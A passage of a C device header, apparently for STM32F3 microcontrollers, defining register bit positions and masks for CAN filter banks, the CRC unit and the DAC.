CAN_F11R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F11R2_FB22 CAN_F11R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F11R2_FB23_Pos (23U) #define CAN_F11R2_FB23_Msk (0x1U << CAN_F11R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F11R2_FB23 CAN_F11R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F11R2_FB24_Pos (24U) #define CAN_F11R2_FB24_Msk (0x1U << CAN_F11R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F11R2_FB24 CAN_F11R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F11R2_FB25_Pos (25U) #define CAN_F11R2_FB25_Msk (0x1U << CAN_F11R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F11R2_FB25 CAN_F11R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F11R2_FB26_Pos (26U) #define CAN_F11R2_FB26_Msk (0x1U << CAN_F11R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F11R2_FB26 CAN_F11R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F11R2_FB27_Pos (27U) #define CAN_F11R2_FB27_Msk (0x1U << CAN_F11R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F11R2_FB27 CAN_F11R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F11R2_FB28_Pos (28U) #define CAN_F11R2_FB28_Msk (0x1U << CAN_F11R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F11R2_FB28 CAN_F11R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F11R2_FB29_Pos (29U) #define CAN_F11R2_FB29_Msk (0x1U << CAN_F11R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F11R2_FB29 CAN_F11R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F11R2_FB30_Pos (30U) #define CAN_F11R2_FB30_Msk (0x1U << CAN_F11R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F11R2_FB30 CAN_F11R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F11R2_FB31_Pos (31U) #define CAN_F11R2_FB31_Msk (0x1U << CAN_F11R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F11R2_FB31 CAN_F11R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F12R2 register ******************/ #define CAN_F12R2_FB0_Pos (0U) #define CAN_F12R2_FB0_Msk (0x1U << CAN_F12R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F12R2_FB0 CAN_F12R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F12R2_FB1_Pos (1U) #define CAN_F12R2_FB1_Msk (0x1U << CAN_F12R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F12R2_FB1 CAN_F12R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F12R2_FB2_Pos (2U) #define CAN_F12R2_FB2_Msk (0x1U << CAN_F12R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F12R2_FB2 CAN_F12R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F12R2_FB3_Pos (3U) #define CAN_F12R2_FB3_Msk (0x1U << CAN_F12R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F12R2_FB3 CAN_F12R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F12R2_FB4_Pos (4U) #define CAN_F12R2_FB4_Msk (0x1U << CAN_F12R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F12R2_FB4 CAN_F12R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F12R2_FB5_Pos (5U) #define CAN_F12R2_FB5_Msk (0x1U << CAN_F12R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F12R2_FB5 CAN_F12R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F12R2_FB6_Pos (6U) #define CAN_F12R2_FB6_Msk (0x1U << CAN_F12R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F12R2_FB6 CAN_F12R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F12R2_FB7_Pos (7U) #define CAN_F12R2_FB7_Msk (0x1U << CAN_F12R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F12R2_FB7 CAN_F12R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F12R2_FB8_Pos (8U) #define CAN_F12R2_FB8_Msk (0x1U << CAN_F12R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F12R2_FB8 CAN_F12R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F12R2_FB9_Pos (9U) #define CAN_F12R2_FB9_Msk (0x1U << CAN_F12R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F12R2_FB9 CAN_F12R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F12R2_FB10_Pos (10U) #define CAN_F12R2_FB10_Msk (0x1U << CAN_F12R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F12R2_FB10 CAN_F12R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F12R2_FB11_Pos (11U) #define CAN_F12R2_FB11_Msk (0x1U << CAN_F12R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F12R2_FB11 CAN_F12R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F12R2_FB12_Pos (12U) #define CAN_F12R2_FB12_Msk (0x1U << CAN_F12R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F12R2_FB12 CAN_F12R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F12R2_FB13_Pos (13U) #define CAN_F12R2_FB13_Msk (0x1U << CAN_F12R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F12R2_FB13 CAN_F12R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F12R2_FB14_Pos (14U) #define CAN_F12R2_FB14_Msk (0x1U << CAN_F12R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F12R2_FB14 CAN_F12R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F12R2_FB15_Pos (15U) #define CAN_F12R2_FB15_Msk (0x1U << CAN_F12R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F12R2_FB15 CAN_F12R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F12R2_FB16_Pos (16U) #define CAN_F12R2_FB16_Msk (0x1U << CAN_F12R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F12R2_FB16 CAN_F12R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F12R2_FB17_Pos (17U) #define CAN_F12R2_FB17_Msk (0x1U << CAN_F12R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F12R2_FB17 CAN_F12R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F12R2_FB18_Pos (18U) #define CAN_F12R2_FB18_Msk (0x1U << CAN_F12R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F12R2_FB18 CAN_F12R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F12R2_FB19_Pos (19U) #define CAN_F12R2_FB19_Msk (0x1U << CAN_F12R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F12R2_FB19 CAN_F12R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F12R2_FB20_Pos (20U) #define CAN_F12R2_FB20_Msk (0x1U << CAN_F12R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F12R2_FB20 CAN_F12R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F12R2_FB21_Pos (21U) #define CAN_F12R2_FB21_Msk (0x1U << CAN_F12R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F12R2_FB21 CAN_F12R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F12R2_FB22_Pos (22U) #define CAN_F12R2_FB22_Msk (0x1U << CAN_F12R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F12R2_FB22 CAN_F12R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F12R2_FB23_Pos (23U) #define CAN_F12R2_FB23_Msk (0x1U << CAN_F12R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F12R2_FB23 CAN_F12R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F12R2_FB24_Pos (24U) #define CAN_F12R2_FB24_Msk (0x1U << CAN_F12R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F12R2_FB24 CAN_F12R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F12R2_FB25_Pos (25U) #define CAN_F12R2_FB25_Msk (0x1U << CAN_F12R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F12R2_FB25 CAN_F12R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F12R2_FB26_Pos (26U) #define CAN_F12R2_FB26_Msk (0x1U << CAN_F12R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F12R2_FB26 CAN_F12R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F12R2_FB27_Pos (27U) #define CAN_F12R2_FB27_Msk (0x1U << CAN_F12R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F12R2_FB27 CAN_F12R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F12R2_FB28_Pos (28U) #define CAN_F12R2_FB28_Msk (0x1U << CAN_F12R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F12R2_FB28 CAN_F12R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F12R2_FB29_Pos (29U) #define CAN_F12R2_FB29_Msk (0x1U << CAN_F12R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F12R2_FB29 CAN_F12R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F12R2_FB30_Pos (30U) #define CAN_F12R2_FB30_Msk (0x1U << CAN_F12R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F12R2_FB30 CAN_F12R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F12R2_FB31_Pos (31U) #define CAN_F12R2_FB31_Msk (0x1U << CAN_F12R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F12R2_FB31 CAN_F12R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F13R2 register ******************/ #define CAN_F13R2_FB0_Pos (0U) #define CAN_F13R2_FB0_Msk (0x1U << CAN_F13R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F13R2_FB0 CAN_F13R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F13R2_FB1_Pos (1U) #define CAN_F13R2_FB1_Msk (0x1U << CAN_F13R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F13R2_FB1 CAN_F13R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F13R2_FB2_Pos (2U) #define CAN_F13R2_FB2_Msk (0x1U << CAN_F13R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F13R2_FB2 CAN_F13R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F13R2_FB3_Pos (3U) #define CAN_F13R2_FB3_Msk (0x1U << CAN_F13R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F13R2_FB3 CAN_F13R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F13R2_FB4_Pos (4U) #define CAN_F13R2_FB4_Msk (0x1U << CAN_F13R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F13R2_FB4 CAN_F13R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F13R2_FB5_Pos (5U) #define CAN_F13R2_FB5_Msk (0x1U << CAN_F13R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F13R2_FB5 CAN_F13R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F13R2_FB6_Pos (6U) #define CAN_F13R2_FB6_Msk (0x1U << CAN_F13R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F13R2_FB6 CAN_F13R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F13R2_FB7_Pos (7U) #define CAN_F13R2_FB7_Msk (0x1U << CAN_F13R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F13R2_FB7 CAN_F13R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F13R2_FB8_Pos (8U) #define CAN_F13R2_FB8_Msk (0x1U << CAN_F13R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F13R2_FB8 CAN_F13R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F13R2_FB9_Pos (9U) #define CAN_F13R2_FB9_Msk (0x1U << CAN_F13R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F13R2_FB9 CAN_F13R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F13R2_FB10_Pos (10U) #define CAN_F13R2_FB10_Msk (0x1U << CAN_F13R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F13R2_FB10 CAN_F13R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F13R2_FB11_Pos (11U) #define CAN_F13R2_FB11_Msk (0x1U << CAN_F13R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F13R2_FB11 CAN_F13R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F13R2_FB12_Pos (12U) #define CAN_F13R2_FB12_Msk (0x1U << CAN_F13R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F13R2_FB12 CAN_F13R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F13R2_FB13_Pos (13U) #define CAN_F13R2_FB13_Msk (0x1U << CAN_F13R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F13R2_FB13 CAN_F13R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F13R2_FB14_Pos (14U) #define CAN_F13R2_FB14_Msk (0x1U << CAN_F13R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F13R2_FB14 CAN_F13R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F13R2_FB15_Pos (15U) #define CAN_F13R2_FB15_Msk (0x1U << CAN_F13R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F13R2_FB15 CAN_F13R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F13R2_FB16_Pos (16U) #define CAN_F13R2_FB16_Msk (0x1U << CAN_F13R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F13R2_FB16 CAN_F13R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F13R2_FB17_Pos (17U) #define CAN_F13R2_FB17_Msk (0x1U << CAN_F13R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F13R2_FB17 CAN_F13R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F13R2_FB18_Pos (18U) #define CAN_F13R2_FB18_Msk (0x1U << CAN_F13R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F13R2_FB18 CAN_F13R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F13R2_FB19_Pos (19U) #define CAN_F13R2_FB19_Msk (0x1U << CAN_F13R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F13R2_FB19 CAN_F13R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F13R2_FB20_Pos (20U) #define CAN_F13R2_FB20_Msk (0x1U << CAN_F13R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F13R2_FB20 CAN_F13R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F13R2_FB21_Pos (21U) #define CAN_F13R2_FB21_Msk (0x1U << CAN_F13R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F13R2_FB21 CAN_F13R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F13R2_FB22_Pos (22U) #define CAN_F13R2_FB22_Msk (0x1U << CAN_F13R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F13R2_FB22 CAN_F13R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F13R2_FB23_Pos (23U) #define CAN_F13R2_FB23_Msk (0x1U << CAN_F13R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F13R2_FB23 CAN_F13R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F13R2_FB24_Pos (24U) #define CAN_F13R2_FB24_Msk (0x1U << CAN_F13R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F13R2_FB24 CAN_F13R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F13R2_FB25_Pos (25U) #define CAN_F13R2_FB25_Msk (0x1U << CAN_F13R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F13R2_FB25 CAN_F13R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F13R2_FB26_Pos (26U) #define CAN_F13R2_FB26_Msk (0x1U << CAN_F13R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F13R2_FB26 CAN_F13R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F13R2_FB27_Pos (27U) #define CAN_F13R2_FB27_Msk (0x1U << CAN_F13R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F13R2_FB27 CAN_F13R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F13R2_FB28_Pos (28U) #define CAN_F13R2_FB28_Msk (0x1U << CAN_F13R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F13R2_FB28 CAN_F13R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F13R2_FB29_Pos (29U) #define CAN_F13R2_FB29_Msk (0x1U << CAN_F13R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F13R2_FB29 CAN_F13R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F13R2_FB30_Pos (30U) #define CAN_F13R2_FB30_Msk (0x1U << CAN_F13R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F13R2_FB30 CAN_F13R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F13R2_FB31_Pos (31U) #define CAN_F13R2_FB31_Msk (0x1U << CAN_F13R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F13R2_FB31 CAN_F13R2_FB31_Msk /*!<Filter bit 31 */ /******************************************************************************/ /* */ /* CRC calculation unit (CRC) */ /* */ /******************************************************************************/ /******************* Bit definition for CRC_DR register *********************/ #define CRC_DR_DR_Pos (0U) #define CRC_DR_DR_Msk (0xFFFFFFFFU << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ #define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ /******************* Bit definition for CRC_IDR register ********************/ #define CRC_IDR_IDR ((uint8_t)0xFFU) /*!< General-purpose 8-bit data register bits */ /******************** Bit definition for CRC_CR register ********************/ #define CRC_CR_RESET_Pos (0U) #define CRC_CR_RESET_Msk (0x1U << CRC_CR_RESET_Pos) /*!< 0x00000001 */ #define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ #define CRC_CR_POLYSIZE_Pos (3U) #define CRC_CR_POLYSIZE_Msk (0x3U << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ #define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ #define CRC_CR_POLYSIZE_0 (0x1U << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ #define CRC_CR_POLYSIZE_1 (0x2U << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ #define CRC_CR_REV_IN_Pos (5U) #define CRC_CR_REV_IN_Msk (0x3U << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ #define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ #define CRC_CR_REV_IN_0 (0x1U << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ #define CRC_CR_REV_IN_1 (0x2U << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ #define CRC_CR_REV_OUT_Pos (7U) #define CRC_CR_REV_OUT_Msk (0x1U << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ #define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ /******************* Bit definition for CRC_INIT register *******************/ #define CRC_INIT_INIT_Pos (0U) #define CRC_INIT_INIT_Msk (0xFFFFFFFFU << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ #define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ /******************* Bit definition for CRC_POL register ********************/ #define CRC_POL_POL_Pos (0U) #define CRC_POL_POL_Msk (0xFFFFFFFFU << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ #define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ /******************************************************************************/ /* */ /* Digital to Analog Converter (DAC) */ /* */ /******************************************************************************/ /* * @brief Specific device feature definitions (not present on all devices in the STM32F3 serie) */ #define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available (may not be available on all DAC instances DACx) */ /******************** Bit definition for DAC_CR register ********************/ #define DAC_CR_EN1_Pos (0U) #define DAC_CR_EN1_Msk (0x1U << DAC_CR_EN1_Pos) /*!< 0x00000001 */ #define DAC_CR_EN1 DAC_CR_EN1_Msk /*!< DAC channel1 enable */ #define DAC_CR_BOFF1_Pos (1U) #define DAC_CR_BOFF1_Msk (0x1U << DAC_CR_BOFF1_Pos) /*!< 0x00000002 */ #define DAC_CR_BOFF1 DAC_CR_BOFF1_Msk /*!< DAC channel1 output buffer disable */ #define DAC_CR_OUTEN1_Pos (1U) #define DAC_CR_OUTEN1_Msk (0x1U << DAC_CR_OUTEN1_Pos) /*!< 0x00000002 */ #define DAC_CR_OUTEN1 DAC_CR_OUTEN1_Msk /*!< DAC channel1 output switch enable (only for DAC instance: DAC2) */ #define DAC_CR_TEN1_Pos (2U) #define DAC_CR_TEN1_Msk (0x1U << DAC_CR_TEN1_Pos) /*!< 0x00000004 */ #define DAC_CR_TEN1 DAC_CR_TEN1_Msk /*!< DAC channel1 Trigger enable */ #define DAC_CR_TSEL1_Pos (3U) #define DAC_CR_TSEL1_Msk (0x7U << DAC_CR_TSEL1_Pos) /*!< 0x00000038 */ #define DAC_CR_TSEL1 DAC_CR_TSEL1_Msk /*!< TSEL1[2:0] (DAC channel1 Trigger selection) */ #define DAC_CR_TSEL1_0 (0x1U << DAC_CR_TSEL1_Pos) /*!< 0x00000008 */ #define DAC_CR_TSEL1_1 (0x2U << DAC_CR_TSEL1_Pos) /*!< 0x00000010 */ #define DAC_CR_TSEL1_2 (0x4U << DAC_CR_TSEL1_Pos) /*!< 0x00000020 */ #define DAC_CR_WAVE1_Pos (6U) #define DAC_CR_WAVE1_Msk (0x3U << DAC_CR_WAVE1_Pos) /*!< 0x000000C0 */ #define DAC_CR_WAVE1 DAC_CR_WAVE1_Msk /*!< WAVE1[1:0] (DAC channel1 noise/triangle wave generation enable) */ #define DAC_CR_WAVE1_0 (0x1U << DAC_CR_WAVE1_Pos) /*!< 0x00000040 */ #define DAC_CR_WAVE1_1 (0x2U << DAC_CR_WAVE1_Pos) /*!< 0x00000080 */ #define DAC_CR_MAMP1_Pos (8U) #define DAC_CR_MAMP1_Msk (0xFU << DAC_CR_MAMP1_Pos) /*!< 0x00000F00 */ #define DAC_CR_MAMP1 DAC_CR_MAMP1_Msk /*!< MAMP1[3:0] (DAC channel1 Mask/Amplitude selector) */ #define DAC_CR_MAMP1_0 (0x1U << DAC_CR_MAMP1_Pos) /*!< 0x00000100 */ #define DAC_CR_MAMP1_1 (0x2U << DAC_CR_MAMP1_Pos) /*!< 0x00000200 */ #define DAC_CR_MAMP1_2 (0x4U << DAC_CR_MAMP1_Pos) /*!< 0x00000400 */ #define DAC_CR_MAMP1_3 (0x8U << DAC_CR_MAMP1_Pos) /*!< 0x00000800 */ #define DAC_CR_DMAEN1_Pos (12U) #define DAC_CR_DMAEN1_Msk (0x1U << DAC_CR_DMAEN1_Pos) /*!< 0x00001000 */ #define DAC_CR_DMAEN1 DAC_CR_DMAEN1_Msk /*!< DAC channel1 DMA enable */ #define DAC_CR_DMAUDRIE1_Pos (13U) #define DAC_CR_DMAUDRIE1_Msk (0x1U << DAC_CR_DMAUDRIE1_Pos) /*!< 0x00002000 */ #define DAC_CR_DMAUDRIE1 DAC_CR_DMAUDRIE1_Msk /*!< DAC channel1 DMA underrun IT enable */ #define DAC_CR_EN2_Pos (16U) #define DAC_CR_EN2_Msk (0x1U << DAC_CR_EN2_Pos) /*!< 0x00010000 */ #define DAC_CR_EN2 DAC_CR_EN2_Msk /*!< DAC channel2 enable */ #define DAC_CR_BOFF2_Pos (17U) #define DAC_CR_BOFF2_Msk (0x1U << DAC_CR_BOFF2_Pos) /*!< 0x00020000 */ #define DAC_CR_BOFF2 DAC_CR_BOFF2_Msk /*!< DAC channel2 output buffer disable */ #define DAC_CR_OUTEN2_Pos (17U) #define DAC_CR_OUTEN2_Msk (0x1U << DAC_CR_OUTEN2_Pos) /*!< 0x00020000 */ #define DAC_CR_OUTEN2 DAC_CR_OUTEN2_Msk /*!< DAC channel2 output switch enable (only for DAC instance: DAC2) */ #define DAC_CR_TEN2_Pos (18U) #define DAC_CR_TEN2_Msk (0x1U << DAC_CR_TEN2_Pos) /*!< 0x00040000 */ #define DAC_CR_TEN2 DAC_CR_TEN2_Msk /*!< DAC channel2 Trigger enable */ #define DAC_CR_TSEL2_Pos (19U) #define DAC_CR_TSEL2_Msk (0x7U << DAC_CR_TSEL2_Pos) /*!< 0x00380000 */ #define DAC_CR_TSEL2 DAC_CR_TSEL2_Msk /*!< TSEL2[2:0] (DAC channel2 Trigger selection) */ #define DAC_CR_TSEL2_0 (0x1U << DAC_CR_TSEL2_Pos) /*!< 0x00080000 */ #define DAC_CR_TSEL2_1 (0x2U << DAC_CR_TSEL2_Pos) /*!< 0x00100000 */ #define DAC_CR_TSEL2_2 (0x4U << DAC_CR_TSEL2_Pos) /*!< 0x00200000 */ #define DAC_CR_WAVE2_Pos (22U) #define DAC_CR_WAVE2_Msk (0x3U << DAC_CR_WAVE2_Pos) /*!< 0x00C00000 */ #define DAC_CR_WAVE2 DAC_CR_WAVE2_Msk /*!< WAVE2[1:0] (DAC channel2 noise/triangle wave generation enable) */ #define DAC_CR_WAVE2_0 (0x1U << DAC_CR_WAVE2_Pos) /*!< 0x00400000 */ #define DAC_CR_WAVE2_1 (0x2U << DAC_CR_WAVE2_Pos) /*!< 0x00800000 */ #define DAC_CR_MAMP2_Pos (24U) #define DAC_CR_MAMP2_Msk (0xFU << DAC_CR_MAMP2_Pos) /*!< 0x0F000000 */ #define DAC_CR_MAMP2 DAC_CR_MAMP2_Msk /*!< MAMP2[3:0] (DAC channel2 Mask/Amplitude selector) */ #define DAC_CR_MAMP2_0 (0x1U << DAC_CR_MAMP2_Pos) /*!< 0x01000000 */ #define DAC_CR_MAMP2_1 (0x2U << DAC_CR_MAMP2_Pos) /*!< 0x02000000 */ #define DAC_CR_MAMP2_2 (0x4U << DAC_CR_MAMP2_Pos) /*!< 0x04000000 */ #define DAC_CR_MAMP2_3 (0x8U << DAC_CR_MAMP2_Pos) /*!< 0x08000000 */ #define DAC_CR_DMAEN2_Pos (28U) #define DAC_CR_DMAEN2_Msk (0x1U << DAC_CR_DMAEN2_Pos) /*!< 0x10000000 */ #define DAC_CR_DMAEN2 DAC_CR_DMAEN2_Msk /*!< DAC channel2 DMA enabled */ #define DAC_CR_DMAUDRIE2_Pos (29U) #define DAC_CR_DMAUDRIE2_Msk (0x1U << DAC_CR_DMAUDRIE2_Pos) /*!< 0x20000000 */ #define DAC_CR_DMAUDRIE2 DAC_CR_DMAUDRIE2_Msk /*!< DAC channel2 DMA underrun IT enable */ /***************** Bit definition for DAC_SWTRIGR register ******************/ #define DAC_SWTRIGR_SWTRIG1_Pos (0U) #define DAC_SWTRIGR_SWTRIG1_Msk (0x1U << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ #define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!< DAC channel1 software trigger */ #define DAC_SWTRIGR_SWTRIG2_Pos (1U) #define DAC_SWTRIGR_SWTRIG2_Msk (0x1U << DAC_SWTRIGR_SWTRIG2_Pos) /*!< 0x00000002 */ #define DAC_SWTRIGR_SWTRIG2 DAC_SWTRIGR_SWTRIG2_Msk /*!< DAC channel2 software trigger */ /***************** Bit definition for DAC_DHR12R1 register ******************/ #define DAC_DHR12R1_DACC1DHR_Pos (0U) #define DAC_DHR12R1_DACC1DHR_Msk (0xFFFU << DAC_DHR12R1_DACC1DHR_Pos) /*!< 0x00000FFF */ #define DAC_DHR12R1_DACC1DHR DAC_DHR12R1_DACC1DHR_Msk /*!< DAC channel1 12-bit Right aligned data */ /***************** Bit definition for DAC_DHR12L1 register ******************/ #define DAC_DHR12L1_DACC1DHR_Pos (4U) #define DAC_DHR12L1_DACC1DHR_Msk (0xFFFU << DAC_DHR12L1_DACC1DHR_Pos) /*!< 0x0000FFF0 */ #define DAC_DHR12L1_DACC1DHR DAC_DHR12L1_DACC1DHR_Msk /*!< DAC channel1 12-bit Left aligned data */ /****************** Bit definition for DAC_DHR8R1 register ******************/ #define DAC_DHR8R1_DACC1DHR_Pos (0U) #define DAC_DHR8R1_DACC1DHR_Msk (0xFFU << DAC_DHR8R1_DACC1DHR_Pos) /*!< 0x000000FF */ #define DAC_DHR8R1_DACC1DHR DAC_DHR8R1_DACC1DHR_Msk /*!< DAC channel1 8-bit Right aligned data */ /***************** Bit definition for DAC_DHR12R2 register ******************/ #define DAC_DHR12R2_DACC2DHR_Pos (0U) #define DAC_DHR12R2_DACC2DHR_Msk (0xFFFU << DAC_DHR12R2_DACC2DHR_Pos) /*!< 0x00000FFF */ #define DAC_DHR12R2_DACC2DHR DAC_DHR12R2_DACC2DHR_Msk /*!< DAC channel2 12-bit Right aligned data */ /***************** Bit definition for DAC_DHR12L2 register ******************/ #define DAC_DHR12L2_DACC2DHR_Pos (4U) #define DAC_DHR12L2_DACC2DHR_Msk (0xFFFU << 